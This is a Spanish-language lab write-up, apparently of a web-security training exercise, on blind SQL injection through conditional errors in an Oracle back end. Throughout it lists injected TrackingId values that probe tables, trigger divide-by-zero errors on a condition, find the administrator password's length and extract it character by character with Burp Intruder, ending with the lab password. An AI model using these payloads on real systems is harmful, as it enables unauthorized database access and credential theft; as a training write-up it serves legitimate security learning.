🐬Laboratorio: Inyección SQL con errores condicionales
En este veremos un poco los errores condicionales, añadiremos consultas SQL con errores evidentes que nos podrán dar información vital.
TrackingId=xyz''
TrackingId=xyz'||(SELECT '')||'
TrackingId=xyz'||(SELECT '' FROM DUAL)||'
Toca nombrar un nombre de tabla no valido debido a que en oracle se debe especificar siempre el nombre de la tabla en una consulta, ahora bien, lo añadimos y no nos aparecerá error en la pagina sin embargo veamos con una tabla fake.
TrackingId=xyz'||(SELECT '' FROM table_fake)||'

Nos mostro ese error, este comportamiento sugiere fuertemente que el back-end está procesando su inyección como una consulta SQL.

Pero cuando es la consulta de Dual, no aparece nada, el error no persiste, entonces
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
Como esta consulta no devuelve un error, puede inferir que esta tabla sí existe. Tenga en cuenta que la WHERE ROWNUM = 1
condición es importante aquí para evitar que la consulta devuelva más de una fila, lo que rompería nuestra concatenación.
'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'#Correcto.

Esto solo nos deja saber que esto demuestra que puede desencadenar un error condicionalmente a la veracidad de una condición específica.
Y con base a esto podemos intentar verificar si existe el username=administrator de la tabla Users, jimentendes.
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Aquí retomamos lo de la longitud de la password.
'||(SELECT CASE WHEN LENGTH(password)>20 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Despues de intentar la longitud de la password con varias longitudes, 2,3,4,6,8,10,15,18,19,30, finalmente dimos con la correcta la longitud de la contraseña es 20.

Ya no nos salta el error de server error.
Ahora simplemente vamos probando cada caracter correspondiente de la contraseña con burp intruder con el payload, sabemos que la contraseña es alfanumericos en minuscula.
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
No olvidar los '§a§' que son los parametros o marcadores de posicion para poder llevar a cabo el payload, que en este caso sera una payload de lista simple.

Vamos tomando las posiciones de las que nos retornen 500 Status Code.

En este momento ya tenemos la contraseña, iteramos la posicion 20 veces, la contraseña exitosa fue: awjf71t673zmr1wwrfq0
, en la terminal falta el 0 pero la posicion 20 era el numero 0 para terminar la contraseña.

Eso es todo gracias por leerme :)
Last updated